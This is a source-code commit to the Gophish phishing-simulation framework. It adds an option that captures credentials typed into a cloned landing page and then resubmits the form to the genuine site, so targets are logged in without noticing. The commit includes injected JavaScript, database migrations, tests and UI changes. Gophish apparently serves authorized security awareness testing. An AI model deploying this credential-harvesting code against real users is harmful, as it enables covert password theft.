Browse Source

Submit credentials to original origin after capturing them (#703)

This commit implements the ability to submit credentials upstream after they are submitted to Gophish.
pull/1902/head
Claudio 3 years ago
committed by Jordan Wright
parent
commit
ac7cb5e087
8 changed files with 131 additions and 24 deletions
  1. +6
    -0
      db/db_mysql/migrations/20170720122503_0.2.2_submit_to_original.sql
  2. +7
    -0
      db/db_sqlite3/migrations/20170720122503_0.2.2_submit_to_original.sql
  3. +19
    -0
      models/models_test.go
  4. +50
    -3
      models/page.go
  5. +3
    -0
      static/css/main.css
  6. +1
    -1
      static/js/dist/app/landing_pages.min.js
  7. +17
    -1
      static/js/src/app/landing_pages.js
  8. +28
    -19
      templates/landing_pages.html

+ 6
- 0
db/db_mysql/migrations/20170720122503_0.2.2_submit_to_original.sql View File

@ -0,0 +1,6 @@
-- +goose Up
-- SQL in section 'Up' is executed when this migration is applied
ALTER TABLE pages ADD COLUMN submit_to_original BOOLEAN;
-- +goose Down
-- SQL section 'Down' is executed when this migration is rolled back

+ 7
- 0
db/db_sqlite3/migrations/20170720122503_0.2.2_submit_to_original.sql View File

@ -0,0 +1,7 @@
-- +goose Up
-- SQL in section 'Up' is executed when this migration is applied
ALTER TABLE pages ADD COLUMN submit_to_original BOOLEAN;
-- +goose Down
-- SQL section 'Down' is executed when this migration is rolled back

+ 19
- 0
models/models_test.go View File

@ -299,8 +299,24 @@ func (s *ModelsSuite) TestPostPage(c *check.C) {
c.Assert(ok, check.Equals, true)
c.Assert(u, check.Equals, "username")
})
// Submit with SubmitToOriginal set to true
p.SubmitToOriginal = true
p.HTML = html
err = PutPage(&p)
c.Assert(err, check.Equals, nil)
d, err = goquery.NewDocumentFromReader(strings.NewReader(p.HTML))
forms = d.Find("form")
head := d.Find("head")
ok, _ := head.Html()
c.Assert(ok[31:62], check.Equals, "var __goSubmitToOriginal = true")
forms.Each(func(i int, f *goquery.Selection) {
// Check the action has been clearer
a, _ := f.Attr("action")
c.Assert(a, check.Equals, "example.com")
})
// Check what happens when we don't capture passwords
p.CapturePasswords = false
p.SubmitToOriginal = false
p.HTML = html
p.RedirectURL = ""
err = PutPage(&p)
@ -321,6 +337,9 @@ func (s *ModelsSuite) TestPostPage(c *check.C) {
c.Assert(ok, check.Equals, true)
c.Assert(u, check.Equals, "username")
})
head = d.Find("head")
ok, _ = head.Html()
c.Assert(ok[31:63], check.Equals, "var __goSubmitToOriginal = false")
// Finally, check when we don't capture credentials
p.CaptureCredentials = false
p.HTML = html

+ 50
- 3
models/page.go View File

@ -16,6 +16,7 @@ type Page struct {
HTML string `json:"html" gorm:"column:html"`
CaptureCredentials bool `json:"capture_credentials" gorm:"column:capture_credentials"`
CapturePasswords bool `json:"capture_passwords" gorm:"column:capture_passwords"`
SubmitToOriginal bool `json:"submit_to_original" gorm:"column:submit_to_original"`
RedirectURL string `json:"redirect_url" gorm:"column:redirect_url"`
ModifiedDate time.Time `json:"modified_date"`
}
@ -23,6 +24,36 @@ type Page struct {
// ErrPageNameNotSpecified is thrown if the name of the landing page is blank.
var ErrPageNameNotSpecified = errors.New("Page Name not specified")
var JsSubmitToOriginal = `<script type='text/javascript'>(function(){
if(typeof __goCaptureAndSubmitToOriginal !== 'function'){
window.__goCaptureAndSubmitToOriginal = function(){
if(!__goSubmitToOriginal) return;
var forms = jQuery('body').find('form');
jQuery.each(forms, function(i, f){
var form = jQuery(f);
form.submit(function(e){
e.preventDefault();
jQuery.post("", form.serialize(), function(done){
form.off('submit');
form.submit();
});
});
});
};
if(typeof jQuery === 'undefined'){
var script = document.createElement('script');
script.src = 'https://code.jquery.com/jquery-2.2.4.min.js';
script.type = 'text/javascript';
script.onload = function(){
__goCaptureAndSubmitToOriginal();
};
document.head.appendChild(script);
}else{
__goCaptureAndSubmitToOriginal();
}
}
})()</script>`
// parseHTML parses the page HTML on save to handle the
// capturing (or lack thereof!) of credentials and passwords
func (p *Page) parseHTML() error {
@ -30,11 +61,27 @@ func (p *Page) parseHTML() error {
if err != nil {
return err
}
head := d.Find("head")
if p.CaptureCredentials && p.CapturePasswords && p.SubmitToOriginal {
head.AppendHtml("<script type='text/javascript'>var __goSubmitToOriginal = true;</script>")
head.AppendHtml(JsSubmitToOriginal)
}
if !p.SubmitToOriginal {
head.AppendHtml("<script type='text/javascript'>var __goSubmitToOriginal = false;</script>")
}
forms := d.Find("form")
forms.Each(func(i int, f *goquery.Selection) {
// We always want the submitted events to be
// sent to our server
f.SetAttr("action", "")
// If we still want to submit to the original domain, do not override
if !p.SubmitToOriginal {
// We always want the submitted events to be
// sent to our server
f.SetAttr("action", "")
}
if p.CaptureCredentials {
// If we don't want to capture passwords,
// find all the password fields and remove the "name" attribute.

+ 3
- 0
static/css/main.css View File

@ -512,6 +512,9 @@ td.details-control{
#capture_passwords {
display:none;
}
#submit_to_original {
display:none;
}
#redirect_url {
display:none;
}

+ 1
- 1
static/js/dist/app/landing_pages.min.js View File

@ -1 +1 @@
function save(e){var a={};a.name=$("#name").val(),editor=CKEDITOR.instances.html_editor,a.html=editor.getData(),a.capture_credentials=$("#capture_credentials_checkbox").prop("checked"),a.capture_passwords=$("#capture_passwords_checkbox").prop("checked"),a.redirect_url=$("#redirect_url_input").val(),e!=-1?(a.id=pages[e].id,api.pageId.put(a).success(function(e){successFlash("Page edited successfully!"),load(),dismiss()})):api.pages.post(a).success(function(e){successFlash("Page added successfully!"),load(),dismiss()}).error(function(e){modalError(e.responseJSON.message)})}function dismiss(){$("#modal\\.flashes").empty(),$("#name").val(""),$("#html_editor").val(""),$("#url").val(""),$("#redirect_url_input").val(""),$("#modal").find("input[type='checkbox']").prop("checked",!1),$("#capture_passwords").hide(),$("#redirect_url").hide(),$("#modal").modal("hide")}function deletePage(e){confirm("Delete "+pages[e].name+"?")&&api.pageId.delete(pages[e].id).success(function(e){successFlash(e.message),load()})}function importSite(){url=$("#url").val(),url?api.clone_site({url:url,include_resources:!1}).success(function(e){console.log($("#html_editor")),$("#html_editor").val(e.html),$("#importSiteModal").modal("hide")}).error(function(e){modalError(e.responseJSON.message)}):modalError("No URL Specified!")}function edit(e){$("#modalSubmit").unbind("click").click(function(){save(e)}),$("#html_editor").ckeditor();var a={};e!=-1&&(a=pages[e],$("#name").val(a.name),$("#html_editor").val(a.html),$("#capture_credentials_checkbox").prop("checked",a.capture_credentials),$("#capture_passwords_checkbox").prop("checked",a.capture_passwords),$("#redirect_url_input").val(a.redirect_url),a.capture_credentials&&($("#capture_passwords").show(),$("#redirect_url").show()))}function copy(e){$("#modalSubmit").unbind("click").click(function(){save(-1)}),$("#html_editor").ckeditor();var a=pages[e];$("#name").val("Copy of "+a.name),$("#html_editor").val(a.html)}function load(){$("#pagesTable").hide(),$("#emptyMessage").hide(),$("#loading").show(),api.pages.get().success(function(e){pages=e,$("#loading").hide(),pages.length>0?($("#pagesTable").show(),pagesTable=$("#pagesTable").DataTable({destroy:!0,columnDefs:[{orderable:!1,targets:"no-sort"}]}),pagesTable.clear(),$.each(pages,function(e,a){pagesTable.row.add([escapeHtml(a.name),moment(a.modified_date).format("MMMM Do YYYY, h:mm:ss a"),"<div class='pull-right'><span data-toggle='modal' data-target='#modal'><button class='btn btn-primary' data-toggle='tooltip' data-placement='left' title='Edit Page' onclick='edit("+e+")'> <i class='fa fa-pencil'></i> </button></span>\t\t <span data-toggle='modal' data-target='#modal'><button class='btn btn-primary' data-toggle='tooltip' data-placement='left' title='Copy Page' onclick='copy("+e+")'> <i class='fa fa-copy'></i> </button></span> <button class='btn btn-danger' data-toggle='tooltip' data-placement='left' title='Delete Page' onclick='deletePage("+e+")'> <i class='fa fa-trash-o'></i> </button></div>"]).draw()}),$('[data-toggle="tooltip"]').tooltip()):$("#emptyMessage").show()}).error(function(){$("#loading").hide(),errorFlash("Error fetching pages")})}var pages=[];$(document).ready(function(){$(".modal").on("hidden.bs.modal",function(e){$(this).removeClass("fv-modal-stack"),$("body").data("fv_open_modals",$("body").data("fv_open_modals")-1)}),$(".modal").on("shown.bs.modal",function(e){"undefined"==typeof $("body").data("fv_open_modals")&&$("body").data("fv_open_modals",0),$(this).hasClass("fv-modal-stack")||($(this).addClass("fv-modal-stack"),$("body").data("fv_open_modals",$("body").data("fv_open_modals")+1),$(this).css("z-index",1040+10*$("body").data("fv_open_modals")),$(".modal-backdrop").not(".fv-modal-stack").css("z-index",1039+10*$("body").data("fv_open_modals")),$(".modal-backdrop").not("fv-modal-stack").addClass("fv-modal-stack"))}),$.fn.modal.Constructor.prototype.enforceFocus=function(){$(document).off("focusin.bs.modal").on("focusin.bs.modal",$.proxy(function(e){this.$element[0]===e.target||this.$element.has(e.target).length||$(e.target).closest(".cke_dialog, .cke").length||this.$element.trigger("focus")},this))},$("#modal").on("hidden.bs.modal",function(e){dismiss()}),$("#capture_credentials_checkbox").change(function(){$("#capture_passwords").toggle(),$("#redirect_url").toggle()}),load()});
function save(e){var a={};a.name=$("#name").val(),editor=CKEDITOR.instances.html_editor,a.html=editor.getData(),a.capture_credentials=$("#capture_credentials_checkbox").prop("checked"),a.capture_passwords=$("#capture_passwords_checkbox").prop("checked"),a.submit_to_original=$("#submit_to_original_checkbox").prop("checked"),a.redirect_url=$("#redirect_url_input").val(),-1!=e?(a.id=pages[e].id,api.pageId.put(a).success(function(e){successFlash("Page edited successfully!"),load(),dismiss()})):api.pages.post(a).success(function(e){successFlash("Page added successfully!"),load(),dismiss()}).error(function(e){modalError(e.responseJSON.message)})}function dismiss(){$("#modal\\.flashes").empty(),$("#name").val(""),$("#html_editor").val(""),$("#url").val(""),$("#redirect_url_input").val(""),$("#modal").find("input[type='checkbox']").prop("checked",!1),$("#capture_passwords").hide(),$("#redirect_url").hide(),$("#modal").modal("hide")}function deletePage(e){confirm("Delete "+pages[e].name+"?")&&api.pageId.delete(pages[e].id).success(function(e){successFlash(e.message),load()})}function importSite(){url=$("#url").val(),url?api.clone_site({url:url,include_resources:!1}).success(function(e){console.log($("#html_editor")),$("#html_editor").val(e.html),$("#importSiteModal").modal("hide")}).error(function(e){modalError(e.responseJSON.message)}):modalError("No URL Specified!")}function edit(e){$("#modalSubmit").unbind("click").click(function(){save(e)}),$("#html_editor").ckeditor();var a={};-1!=e&&(a=pages[e],$("#name").val(a.name),$("#html_editor").val(a.html),$("#capture_credentials_checkbox").prop("checked",a.capture_credentials),$("#capture_passwords_checkbox").prop("checked",a.capture_passwords),$("#submit_to_original_checkbox").prop("checked",a.submit_to_original),$("#redirect_url_input").val(a.redirect_url),a.capture_credentials&&($("#capture_passwords").show(),$("#redirect_url").show()))}function copy(e){$("#modalSubmit").unbind("click").click(function(){save(-1)}),$("#html_editor").ckeditor();var a=pages[e];$("#name").val("Copy of "+a.name),$("#html_editor").val(a.html)}function load(){$("#pagesTable").hide(),$("#emptyMessage").hide(),$("#loading").show(),api.pages.get().success(function(e){pages=e,$("#loading").hide(),pages.length>0?($("#pagesTable").show(),pagesTable=$("#pagesTable").DataTable({destroy:!0,columnDefs:[{orderable:!1,targets:"no-sort"}]}),pagesTable.clear(),$.each(pages,function(e,a){pagesTable.row.add([escapeHtml(a.name),moment(a.modified_date).format("MMMM Do YYYY, h:mm:ss a"),"<div class='pull-right'><span data-toggle='modal' data-target='#modal'><button class='btn btn-primary' data-toggle='tooltip' data-placement='left' title='Edit Page' onclick='edit("+e+")'> <i class='fa fa-pencil'></i> </button></span>\t\t <span data-toggle='modal' data-target='#modal'><button class='btn btn-primary' data-toggle='tooltip' data-placement='left' title='Copy Page' onclick='copy("+e+")'> <i class='fa fa-copy'></i> </button></span> <button class='btn btn-danger' data-toggle='tooltip' data-placement='left' title='Delete Page' onclick='deletePage("+e+")'> <i class='fa fa-trash-o'></i> </button></div>"]).draw()}),$('[data-toggle="tooltip"]').tooltip()):$("#emptyMessage").show()}).error(function(){$("#loading").hide(),errorFlash("Error fetching pages")})}var pages=[];$(document).ready(function(){$(".modal").on("hidden.bs.modal",function(e){$(this).removeClass("fv-modal-stack"),$("body").data("fv_open_modals",$("body").data("fv_open_modals")-1)}),$(".modal").on("shown.bs.modal",function(e){void 0===$("body").data("fv_open_modals")&&$("body").data("fv_open_modals",0),$(this).hasClass("fv-modal-stack")||($(this).addClass("fv-modal-stack"),$("body").data("fv_open_modals",$("body").data("fv_open_modals")+1),$(this).css("z-index",1040+10*$("body").data("fv_open_modals")),$(".modal-backdrop").not(".fv-modal-stack").css("z-index",1039+10*$("body").data("fv_open_modals")),$(".modal-backdrop").not("fv-modal-stack").addClass("fv-modal-stack"))}),$.fn.modal.Constructor.prototype.enforceFocus=function(){$(document).off("focusin.bs.modal").on("focusin.bs.modal",$.proxy(function(e){this.$element[0]===e.target||this.$element.has(e.target).length||$(e.target).closest(".cke_dialog, .cke").length||this.$element.trigger("focus")},this))},$("#modal").on("hidden.bs.modal",function(e){dismiss()}),$("#capture_credentials_checkbox").change(function(){$("#capture_passwords").toggle(),$("#redirect_url").toggle(),$("#capture_passwords").is(":visible")||($("#submit_to_original").hide(),$("#submit_to_original_checkbox").prop("checked",!1))}),$("#capture_passwords_checkbox").change(function(){$("#capture_passwords_checkbox").is(":checked")?$("#submit_to_original").show():($("#submit_to_original").toggle(),$("#submit_to_original").is(":visible")||$("#submit_to_original_checkbox").prop("checked",!1))}),load()});

+ 17
- 1
static/js/src/app/landing_pages.js View File

@ -13,6 +13,7 @@ function save(idx) {
page.html = editor.getData()
page.capture_credentials = $("#capture_credentials_checkbox").prop("checked")
page.capture_passwords = $("#capture_passwords_checkbox").prop("checked")
page.submit_to_original = $("#submit_to_original_checkbox").prop("checked")
page.redirect_url = $("#redirect_url_input").val()
if (idx != -1) {
page.id = pages[idx].id
@ -90,6 +91,7 @@ function edit(idx) {
$("#html_editor").val(page.html)
$("#capture_credentials_checkbox").prop("checked", page.capture_credentials)
$("#capture_passwords_checkbox").prop("checked", page.capture_passwords)
$("#submit_to_original_checkbox").prop("checked", page.submit_to_original)
$("#redirect_url_input").val(page.redirect_url)
if (page.capture_credentials) {
$("#capture_passwords").show()
@ -199,6 +201,20 @@ $(document).ready(function() {
$("#capture_credentials_checkbox").change(function() {
$("#capture_passwords").toggle()
$("#redirect_url").toggle()
})
if(!$("#capture_passwords").is(":visible")){
$("#submit_to_original").hide();
$("#submit_to_original_checkbox").prop("checked", false);
}
});
$("#capture_passwords_checkbox").change(function(){
if($("#capture_passwords_checkbox").is(":checked")){
$("#submit_to_original").show();
}else{
$("#submit_to_original").toggle()
if(!$("#submit_to_original").is(":visible")){
$("#submit_to_original_checkbox").prop("checked", false);
}
}
});
load()
})

+ 28
- 19
templates/landing_pages.html View File

@ -86,27 +86,36 @@
</div>
</div>
<div class="checkbox checkbox-primary">
<input id="capture_credentials_checkbox" type="checkbox">
<label for="capture_credentials_checkbox">Capture Submitted Data <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="right" title="If the landing page contains a form, submitted input (except passwords!) will be captured."></i></label>
</div>
<input id="capture_credentials_checkbox" type="checkbox">
<label for="capture_credentials_checkbox">Capture Submitted Data
<i class="fa fa-question-circle" data-toggle="tooltip" data-placement="right" title="If the landing page contains a form, submitted input (except passwords!) will be captured."></i>
</label>
</div>
<div class="checkbox checkbox-primary" id="capture_passwords">
<input id="capture_passwords_checkbox" type="checkbox">
<label for="capture_passwords_checkbox">Capture Passwords</label>
<div class="alert alert-warning">
<i class="fa fa-exclamation-circle"></i> <b>Warning:</b> Credentials are currently <b>not encrypted</b>. This means that captured passwords are stored in the database as cleartext. Be careful with this!
</div>
</div>
<div id="redirect_url">
<label class="control-label" for="redirect_url_input">Redirect to: <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="right" title="This option lets you redirect the user to a page after credentials are submitted."></i></label>
<div class="form-group">
<input id="redirect_url_input" class="form-control" placeholder="http://example.com"/>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" data-dismiss="modal" class="btn btn-default" onclick="dismiss()">Cancel</button>
<button type="button" class="btn btn-primary" id="modalSubmit">Save Page</button>
<input id="capture_passwords_checkbox" type="checkbox">
<label for="capture_passwords_checkbox">Capture Passwords</label>
<div class="alert alert-warning">
<i class="fa fa-exclamation-circle"></i> <b>Warning:</b> Credentials are currently <b>not encrypted</b>. This means that captured passwords are stored in the database as cleartext. Be careful with this!
</div>
</div>
<div class="checkbox checkbox-primary" id="submit_to_original">
<input id="submit_to_original_checkbox" type="checkbox">
<label for="submit_to_original_checkbox">
Capture and Submit to the Original Origin.
<i class="fa fa-question-circle" data-toggle="tooltip" data-placement="right" title="Credentials will be captured and the form submitted to the original origin. If there is no anti-CSRF protection in place, and the credentials are correct, users phished will get logged in. Note that the form 'action' needs to include the full URL, and the current form submission is not handled by existing JavaScript."></i>
</label>
</div>
<div id="redirect_url">
<label class="control-label" for="redirect_url_input">Redirect to: <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="right" title="This option lets you redirect the user to a page after credentials are submitted."></i></label>
<div class="form-group">
<input id="redirect_url_input" class="form-control" placeholder="http://example.com"/>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" data-dismiss="modal" class="btn btn-default" onclick="dismiss()">Cancel</button>
<button type="button" class="btn btn-primary" id="modalSubmit">Save Page</button>
</div>
</div>
</div>
</div>

Loading…
Cancel
Save